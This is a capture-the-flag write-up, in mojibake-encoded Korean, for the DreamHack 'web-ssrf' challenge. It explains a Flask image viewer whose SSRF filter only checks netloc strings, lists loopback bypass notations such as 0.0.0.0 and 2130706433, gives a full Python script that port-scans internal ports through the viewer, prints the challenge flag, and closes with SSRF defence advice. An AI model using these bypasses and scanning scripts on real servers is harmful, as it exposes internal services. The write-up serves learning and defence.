๋ฌธ์ : DreamHack โ web-ssrf ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Silver 2 FLAG:
DH{43dd2189056475a7f3bd11456a17ad71}
์ด๋ฆ ๊ทธ๋๋ก SSRF ์ ๋ฌธ ๋ฌธ์ ๋ค. URL์ ๋ฃ์ผ๋ฉด ์๋ฒ๊ฐ ๊ทธ ์ฃผ์๋ฅผ ๋์ ๋ฐ์์ ์ด๋ฏธ์ง๋ก ๋ณด์ฌ์ฃผ๋ "์ด๋ฏธ์ง ๋ทฐ์ด"๊ฐ ์๊ณ , ๊ฐ์ ์๋ฒ ์ ์ด๋๊ฐ์ flag๊ฐ ์จ์ด ์๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | web-ssrf |
| ๋์ด๋ | ๐ฅ Silver 2 |
| ๋ถ๋ฅ | Web (SSRF) |
| ์คํ | Python + Flask + requests |
| ์ ๊ณต | app.py + ์๋ฒ |
| ํต์ฌ ์ทจ์ฝ์ | ์์ฒญ URL์ netloc ๋ฌธ์์ด๋ง ๊ฒ์ฌํ๋ SSRF ํํฐ |
flag๋ Flask ๋ผ์ฐํธ๋ก ๋
ธ์ถ๋ผ ์์ง ์๋ค. ๋์ ๊ฐ์ ํ๋ก์ธ์ค๊ฐ ๋ณ๋ ์ค๋ ๋๋ก http.server.SimpleHTTPRequestHandler๋ฅผ ๋์ ์์
๋๋ ํฐ๋ฆฌ๋ฅผ ํต์งธ๋ก ์๋นํ๋๋ฐ, ๊ทธ ๋๋ ํฐ๋ฆฌ์ flag.txt๊ฐ ์๋ค.
์ด ๋ด๋ถ ์๋ฒ๋ 127.0.0.1์ ๋ฌด์์ ํฌํธ(1500~1800)์์๋ง ๋ฃ๋๋ค. ์ธ๋ถ์์ ์ง์ ๋ชป ๋ฟ๋๋ค. ๊ทธ๋์ "์๋ฒ๊ฐ ๋์ ์์ฒญํด ์ฃผ๋" ์ด๋ฏธ์ง ๋ทฐ์ด๋ฅผ ๋ฐํ ์ผ์ ๋ด๋ถ ํฌํธ๋ก SSRF๋ฅผ ๊ฑธ์ด์ผ ํ๋ค. ๋ง์ ๋ ํํฐ๋ฅผ ์ฐํํ๊ณ , ๋ ์๋ ํฌํธ๋ฅผ ์ฐพ์๋ด๋ ๊ฒ ์ ๋ถ๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ SSRF์ ์ด ์ฑ์ ๋ ์๋ฒ
SSRF(Server-Side Request Forgery)๋ "์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ ๋์ ์์ฒญ์ ๋ณด๋ด๋" ๊ธฐ๋ฅ์ ์ ์ฉํ๋ ์ทจ์ฝ์ ์ด๋ค. ์ด๋ฏธ์ง ํ๋ก์, ์นํ , URL ๋ฏธ๋ฆฌ๋ณด๊ธฐ์ฒ๋ผ ์ฌ์ฉ์๊ฐ ์ค ์ฃผ์๋ฅผ ์๋ฒ๊ฐ ์ง์ fetchํ๋ ๊ณณ์ด๋ฉด ์ด๋๋ ํ๋ณด๊ฐ ๋๋ค.
๊ณต๊ฒฉ์๊ฐ ์ธ๋ถ์์ ๋ชป ๋ฟ๋ ๋ด๋ถ๋งยทlocalhostยทํด๋ผ์ฐ๋ ๋ฉํ๋ฐ์ดํฐ(169.254.169.254) ๊ฐ์ ๊ณณ์, ์๋ฒ์ ์
์ฅ์์ ๋์ ๊ธ์ด์ค๊ฒ ๋ง๋๋ ๊ฒ ํต์ฌ์ด๋ค.
์ด ๋ฌธ์ ์ app.py๋ ์๋ฒ๋ฅผ ๋ ๋์ด๋ค.
# Flask โ ์ธ๋ถ์ ๋
ธ์ถ๋๋ 8000 ํฌํธ
app.run(host="0.0.0.0", port=8000, threaded=True)
# ๋ด๋ถ ์ ์ฉ โ 127.0.0.1 ์ ๋ฌด์์ ํฌํธ(1500~1800)์์ cwd ๋ฅผ ์๋น
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
threading._start_new_thread(run_local_server, ())SimpleHTTPRequestHandler๋ ํ๋ก์ธ์ค์ ์์
๋๋ ํฐ๋ฆฌ๋ฅผ ๊ทธ๋๋ก ์ ์ ํ์ผ๋ก ๋ด๋ณด๋ธ๋ค. Dockerfile์ ๋ณด๋ฉด WORKDIR /app์ด๊ณ flag.txt๊ฐ ๊ทธ ์์ ๋ค์ด๊ฐ๋ค. ์ฆ http://127.0.0.1:<port>/flag.txt๋ง ๋๋ฆฌ๋ฉด flag๊ฐ ํ๋ฌธ์ผ๋ก ๋์จ๋ค. ๋ฌธ์ ๋ ๊ทธ ์์ฒญ์ ์ธ๋ถ์์ ์ง์ ๋ชป ๋ณด๋ธ๋ค๋ ๊ฒ๋ฟ์ด๋ค.
ADD ./deploy /app
WORKDIR /app
...
CMD ["app.py"]๋ฐํ์ ์ด๋ฏธ์ง ๋ทฐ์ด๋ค. ๋
ธ๋ฆด ๊ณณ์ ๋ด๋ถ ํฌํธ์ flag.txt๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ โ img_viewer ํํฐ
์์ฒญ์ ๋์ ๋ณด๋ด ์ฃผ๋ ์๋ํฌ์ธํธ๋ /img_viewer๋ค. POST๋ก url์ ๋ฐ์ requests.get์ผ๋ก ๊ฐ์ ธ์จ ๋ค, ์๋ต ๋ณธ๋ฌธ์ base64๋ก ์ธ์ฝ๋ฉํด <img>๋ก ๊ทธ๋ ค ์ค๋ค.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)๋ฏ์ด๋ณด๋ฉด ๋ถ๊ธฐ๊ฐ ์ ์ด๋ค.
url์ด/๋ก ์์ํ๋ฉด โhttp://localhost:8000์ ์์ ๋ถ์ธ๋ค. ์ฆ Flask ์๊ธฐ ์์ (8000) ์ผ๋ก๋ง ๊ฐ๋ค. ๋ด๋ถ ์๋ฒ(1500~1800)๋ก๋ ๋ชป ๊ฐ๋ค.- netloc์
localhost๋๋127.0.0.1๋ฌธ์์ด์ด ์์ผ๋ฉด โerror.png๋ฐํ. ์ฐจ๋จ. - ๊ทธ ์ธ โ
requests.get(url)๋ก ๊ทธ๋๋ก ๊ฐ์ ธ์จ๋ค.
์ฌ๊ธฐ์ ์๋ต์ <img src="data:image/png;base64, {{ img }}"> ๋ก ๊ทธ๋ ค ์ค๋ค๋ ์ ์ด ์ค์ํ๋ค. ๊ฐ์ ธ์จ ๊ฒ PNG๋ ํ
์คํธ๋ ์ผ๋จ base64๋ก ๋ฐ์ ๋๋ ค์ฃผ๋ฏ๋ก, ์ฐ๋ฆฌ๋ base64๋ง ๋์ฝ๋ํ๋ฉด ์๋ฒ๊ฐ ๋ฐ์์จ ์๋ณธ ๋ฐ์ดํธ๋ฅผ ๊ทธ๋๋ก ์์ ๋ฃ๋๋ค.
๋จผ์ ์ ์ ๋์์ ํ์ธํ๋ค. ๊ธฐ๋ณธ๊ฐ /static/dream.png๋ฅผ ๋ฃ์ผ๋ฉด dreamhack ๋ก๊ณ ๊ฐ ๊ทธ๋๋ก ๋ฌ๋ค โ ์๋ฒ๊ฐ ๋ด ๋์ ์์ฒญ์ ๋ณด๋ด ์ค๋ค๋ ์ฆ๊ฑฐ๋ค.

ํผ์ ๋จ์ํ๋ค. URL ํ ์นธ๊ณผ View ๋ฒํผ.

๐ ์ฝ์ง โ ๋งํ ๋ ๊ธธ
๋ด๋ถ flag.txt๋ฅผ ํฅํ๋ ๋ช
๋ฐฑํด ๋ณด์ด๋ ๊ธธ ๋์ด ๋จผ์ ๋งํ๋ค.
โถ๐ ์ฝ์ง 1 โ /flag.txt ๋ Flask 8000 ์ผ๋ก๋ง ๊ฐ๋ค
/๋ก ์์ํ๋ URL์ ๋ฃ์ผ๋ฉด http://localhost:8000 ์ด ์์ ๋ถ๋๋ค. /flag.txt๋ฅผ ๋ฃ์ด ๋ดค์ง๋ง, ์ด๊ฑด ๋ด๋ถ ์๋ฒ(1500~1800)๊ฐ ์๋๋ผ Flask ์๊ธฐ ์์ ์ผ๋ก ๊ฐ๋ ๊ธธ์ด๋ค. Flask์ flag.txt ๋ผ์ฐํธ๊ฐ ์์ผ๋ 404 HTML์ด ๋์์จ๋ค.
base64๋ฅผ ๋์ฝ๋ํด ๋ณด๋ฉด ์ด๋ฏธ์ง๊ฐ ์๋๋ผ Flask 404 ํ์ด์ง์๋ค.
$ url=/flag.txt
TEXT 207B: '<!doctype html>\n<html lang=en>\n<title>404 Not Found</title>...'/ ํ๋ฆฌํฝ์ค ๋ถ๊ธฐ๋ ๋ด๋ถ ์๋ฒ๋ก ๊ฐ๋ ํต๋ก๊ฐ ์๋๋ค. ๋ฒ๋ฆฐ๋ค.
โถ๐ ์ฝ์ง 2 โ 127.0.0.1 / localhost ๋ ํต์งธ๋ก ์ฐจ๋จ
๊ทธ๋ผ ๋ด๋ถ ํฌํธ๋ฅผ ์ง์ ๊ฐ๋ฆฌํค๋ฉด ๋์ง ์์๊น ์ถ์ด http://127.0.0.1:1571/flag.txt๋ฅผ ๋ฃ์ด ๋ดค๋ค. ๊ณง์ฅ error.png("Not Found X")๊ฐ ๋ด๋ค. netloc์ 127.0.0.1 ๋ฌธ์์ด์ด ์์ผ๋ฉด ๋ฌด์กฐ๊ฑด ์ฐจ๋จํ๋ ๋ถ๊ธฐ์ ๊ฑธ๋ฆฐ ๊ฒ์ด๋ค. localhost๋ ๋๊ฐ์ด ๋งํ๋ค.


ํํฐ๋ ์ ์งํ๊ฒ ๋ ๋ฌธ์์ด๋ง ๋ณธ๋ค. ๊ทธ๋ ๋ค๋ฉด ๊ฐ์ ๊ณณ์ ๊ฐ๋ฆฌํค๋ ๊ทธ ๋ ๋ฌธ์์ด์ด ์ ๋ค์ด๊ฐ๋ ํ๊ธฐ๋ฅผ ์ฐพ์ผ๋ฉด ๋๋ค.
๐ฃ ํต์ฌ โ 0.0.0.0 ์ผ๋ก ๊ฐ์ loopback ๊ฐ๋ฆฌํค๊ธฐ
ํํฐ๊ฐ ๊ฒ์ฌํ๋ ๊ฑด urlparse(url).netloc์ ๋ค์ด๊ฐ ๋ฌธ์์ด์ด๋ค. IP๊ฐ ์ค์ ๋ก ์ด๋๋ก ๋ผ์ฐํ
๋๋์ง๋ ์ ๋ณธ๋ค. ๊ทธ๋ฐ๋ฐ 127.0.0.1์ ๊ฐ๋ฆฌํค๋ ํ๊ธฐ๋ ํ๋์ด ์๋๋ค.
| ํ๊ธฐ | netloc | 127.0.0.1 ํฌํจ? | ์ค์ ๋์ฐฉ์ง |
|---|---|---|---|
127.0.0.1 | 127.0.0.1:1571 | โ โ ์ฐจ๋จ | loopback |
localhost | localhost:1571 | โ (localhost) โ ์ฐจ๋จ | loopback |
0.0.0.0 | 0.0.0.0:1571 | โ โ ํต๊ณผ | loopback |
0 | 0:1571 | โ โ ํต๊ณผ | loopback |
127.1 | 127.1:1571 | โ โ ํต๊ณผ | loopback |
2130706433 | 2130706433:1571 | โ โ ํต๊ณผ | loopback |
๋ฆฌ๋
์ค์์ ๋ชฉ์ ์ง 0.0.0.0์ผ๋ก connect()ํ๋ฉด ์ปค๋์ด loopback(127.0.0.1)์ผ๋ก ๋ณด๋ธ๋ค. 0์ 0.0.0.0์ผ๋ก, 127.1์ 127.0.0.1๋ก, ์ ์ 2130706433์ 0x7f000001(=127.0.0.1)๋ก ๊ฐ๊ฐ ํ๋ฆฐ๋ค. ์ ๋ถ ๊ฐ์ ๋ด๋ถ ์๋ฒ์ ๋ฟ์ง๋ง ํํฐ์ ๋ ๋ฌธ์์ด์ ์ ๋ค์ด๊ฐ๋ค.
์ด ๋ฌธ์ ์ ์ ์ฒด ํ๋ฆ์ ๊ทธ๋ฆผ์ผ๋ก ์ ๋ฆฌํ๋ฉด ์ด๋ ๋ค.

์ฐํ๊ฐ ๋๋์ง๋ถํฐ ํ์ธํ๋ค. http://0.0.0.0:1571/ ์ ๋ฃจํธ๋ฅผ ๋ฐ์์ค๋ SimpleHTTPRequestHandler์ ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก์ด ๊ทธ๋๋ก ๋์์๋ค. flag.txt๊ฐ ๋ณด์ธ๋ค.
# peek_internal.py โ 0.0.0.0 ์ฐํ๋ก ๋ด๋ถ ์๋ฒ์ ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก์ ๋ฐ์๋ณธ๋ค
import base64, re, requests
BASE = "http://host3.dreamhack.games:12182"
r = requests.post(f"{BASE}/img_viewer",
data={"url": "http://0.0.0.0:1571/"}, timeout=10)
m = re.search(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)", r.text)
body = base64.b64decode(m.group(1)).decode("utf-8", "replace")
for name in re.findall(r'<li><a href="[^"]+">([^<]+)</a>', body):
print(name)
๋ด๋ถ ์๋ฒ์ ๋ฟ๋ ๊ธธ์ ๋ซ๋ ธ๋ค. ๋จ์ ๊ฑด ํฌํธ ํ๋๋ค.
๐ฏ ์ต์คํ๋ก์ โ ํฌํธ ์ค์บ
๋ด๋ถ ํฌํธ๋ random.randint(1500, 1800)์ผ๋ก ๋งค ์ธ์คํด์ค๋ง๋ค ๋ฌ๋ผ์ง๋ค. 300๊ฐ๋ฟ์ด๋ SSRF๋ก ์ ์ ์ค์บํ๋ฉด ๋๋ค.
ํ๋ณ ๊ธฐ์ค์ด ๊น๋ํ๋ค. ๋ซํ ํฌํธ๋ ์๋ฒ ์์์ requests.get์ด ์ฐ๊ฒฐ ๊ฑฐ๋ถ๋ก ์คํจํ๊ณ , except์ ๊ฑธ๋ ค error.png๊ฐ ๋์์จ๋ค. ์ด๋ฆฐ ํฌํธ๋ง ๋ค๋ฅธ ์๋ต(์ฌ๊ธฐ์ flag.txt์ ํ๋ฌธ)์ ์ค๋ค. ๊ทธ๋ฌ๋ ์๋ต์ด error.png์ ๋ค๋ฅด๋ฉด ๊ทธ ํฌํธ๊ฐ ์ด๋ฆฐ ๊ฒ์ด๋ค.
๋จผ์ ์ฐจ๋จ ์์ฒญ(http://127.0.0.1:1/)์ผ๋ก error.png์ ๊ธฐ์ค ๋ฐ์ดํธ๋ฅผ ์ก์ ๋๊ณ , 0.0.0.0์ผ๋ก 1500~1800์ ํ์ผ๋ฉฐ ๊ทธ์ ๋ค๋ฅธ ์๋ต์ ์ฐพ์๋ค.

๋ธ๋ผ์ฐ์ ๋ก ์ง์ ๋ฃ์ด ๋ณด๋ฉด ์๋ต์ ๊นจ์ง ์ด๋ฏธ์ง๋ก ๋ฌ๋ค. ๋น์ฐํ๋ค. ๋์์จ ๊ฑด PNG๊ฐ ์๋๋ผ flag.txt์ ํ
์คํธ๋ผ, data:image/png ๋ก ๋ฐํ๋ ๋ธ๋ผ์ฐ์ ๊ฐ ๋ชป ๊ทธ๋ฆฐ๋ค. ์ฆ data: URI ์์ base64๋ก ๋ค์ด ์๋ ๊ฒ ๊ณง flag๋ค.

ํ๋ฉด์ผ๋ก๋ ์ ๋ณด์ด๋ base64๋ฅผ ๋์ฝ๋ํด ํ์ธํ๋ค.
๐ Full Exploit
#!/usr/bin/env python3
# web-ssrf solve โ SSRF๋ก ๋ด๋ถ SimpleHTTPRequestHandler(127.0.0.1:1500~1800)์ flag.txt ํ์
# ํํฐ ์ฐํ: netloc์ "127.0.0.1"/"localhost" ๋ฌธ์์ด์ด ์์ผ๋ฉด ํต๊ณผ โ 0.0.0.0 ์ฌ์ฉ
import base64, re, sys
import requests
BASE = "http://host3.dreamhack.games:12182"
SESS = requests.Session()
IMG_RE = re.compile(r"data:image/png;base64,\s*([A-Za-z0-9+/=]+)")
def fetch(url):
"""img_viewer์ url์ ๋ฃ๊ณ , ๋ ๋๋ img base64๋ฅผ ๋์ฝ๋ํ raw bytes๋ฅผ ๋ฐํ."""
r = SESS.post(f"{BASE}/img_viewer", data={"url": url}, timeout=10)
m = IMG_RE.search(r.text)
return base64.b64decode(m.group(1)) if m else None
# error.png ๊ธฐ์ค๊ฐ ํ๋ณด (์ฐจ๋จ/์คํจ ์ ๋๋ ค์ฃผ๋ ์ด๋ฏธ์ง)
ERROR_PNG = fetch("http://127.0.0.1:1/")
print(f"[*] error.png baseline: {len(ERROR_PNG)} bytes, head={ERROR_PNG[:8].hex()}")
# 0.0.0.0 ์ฐํ๋ก ๋ด๋ถ ํฌํธ ์ค์บ
for port in range(1500, 1801):
body = fetch(f"http://0.0.0.0:{port}/flag.txt")
if body is None or body == ERROR_PNG:
continue # ๋ซํ ํฌํธ/์ฐจ๋จ โ ๋์ผ error.png
text = body.decode("utf-8", "replace").strip()
print(f"[+] OPEN port {port} โ {len(body)} bytes")
print(f" content: {text[:200]!r}")
if "DH{" in text:
flag = re.search(r"DH\{[^}]*\}", text).group(0)
print(f"\n[FLAG] {flag}")
sys.exit(0)
print("[-] flag not found in 1500-1800 range")๋ด๋ถ ์๋ฒ๋ ์ด ์ธ์คํด์ค์์ 1571 ํฌํธ์ ๋ ์์๊ณ , ๊ทธ ํฌํธ์ flag.txt๊ฐ ํ๋ฌธ์ผ๋ก ๋์์๋ค.

[*] error.png baseline: 47806 bytes, head=89504e470d0a1a0a
[+] OPEN port 1571 โ 36 bytes
content: 'DH{43dd2189056475a7f3bd11456a17ad71}'
[FLAG] DH{43dd2189056475a7f3bd11456a17ad71}DH{43dd2189056475a7f3bd11456a17ad71}.
๐ ๊ฒฐ๋ก
ํํฐ๊ฐ ๋ฌธ์์ด๋ง ๋ณด๋ฉด, ๊ฐ์ ๊ณณ์ ๊ฐ๋ฆฌํค๋ ๋ค๋ฅธ ํ๊ธฐ๋ก ๋น ์ ธ๋๊ฐ๋ค.
์ด ๋ฌธ์ ์ ๋ฐฉ์ด๋ netloc์ 127.0.0.1/localhost๊ฐ ๋ค์ด ์๋์ง๋ง ๋ดค๋ค. ํ์ง๋ง ๊ฐ์ loopback์ ๊ฐ๋ฆฌํค๋ ํ๊ธฐ๋ 0.0.0.0, 0, 127.1, ์ญ์ง์ 2130706433, 8์ง์ 0177.0.0.1, IPv6 [::1] ๋ฑ ์๋๋ฃฉํ๋ค. ๋ธ๋๋ฆฌ์คํธ๋ก๋ ์ด ๋ณํ์ ๋ค ๋ง์ ์ ์๋ค.
SSRF ๋ฐฉ์ด๋ "ํ๊ธฐ"๊ฐ ์๋๋ผ "๋์ฐฉ์ง"๋ก ํด์ผ ํ๋ค.
URL์ ๋ฐ์ ์๋ฒ๊ฐ ๋์ ์์ฒญํด์ผ ํ๋ค๋ฉด, ๋ฌธ์์ด ํจํด์ด ์๋๋ผ DNS ํด์ ํ์ ์ค์ IP๋ฅผ ๊ธฐ์ค์ผ๋ก ๋ง์์ผ ํ๋ค. ํด์๋ ์ฃผ์๊ฐ ์ฌ์ค ๋์ญ(127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16, ::1 ๋ฑ)์ด๋ฉด ๊ฑฐ๋ถํ๋ค. ๋ฆฌ๋ค์ด๋ ํธ๋ฅผ ๋ฐ๋ผ๊ฐ๋ฉฐ ๋งค ํ๋ง๋ค ๋ค์ ๊ฒ์ฌํด์ผ ํ๊ณ , ๊ฐ๋ฅํ๋ฉด ํ์ดํธ๋ฆฌ์คํธ(ํ์ฉ ๋๋ฉ์ธ๋ง)๋ก ์ขํ๋ ํธ์ด ์์ ํ๋ค.
๋ด๋ถ ์๋น์ค๋ฅผ ๊ฐ์ ์ ๋ขฐ ๊ฒฝ๊ณ ์์ ๋์ง ์๋๋ค.
flag๋ฅผ ์๋นํ๋ SimpleHTTPRequestHandler๊ฐ ์ธ๋ถ์์ ๋ชป ๋ฟ๋ loopback์๋ง ๋ ์์ด "์์ ํ๋ค"๊ณ ๊ฐ์ ํ์ง๋ง, SSRF ํ ๋ฐฉ์ผ๋ก ๊ทธ ๊ฐ์ ์ด ๋ฌด๋์ก๋ค. ํฌํธ๊ฐ ๋ฌด์์์๋ ๊ฒ๋ 300๊ฐ ์ ์ ์ค์บ ์์์ ์๋ฏธ๊ฐ ์์๋ค. ๋ด๋ถ๋ง์ ๋๋ค๊ณ ์์ ํ ๊ฒ ์๋๋ค โ ๊ทธ ๋ด๋ถ๋ง์ ๋์ ๊ธ์ด ์ค SSRF๊ฐ ํ๋๋ผ๋ ์์ผ๋ฉด ๊ทธ๋๋ก ๋
ธ์ถ๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ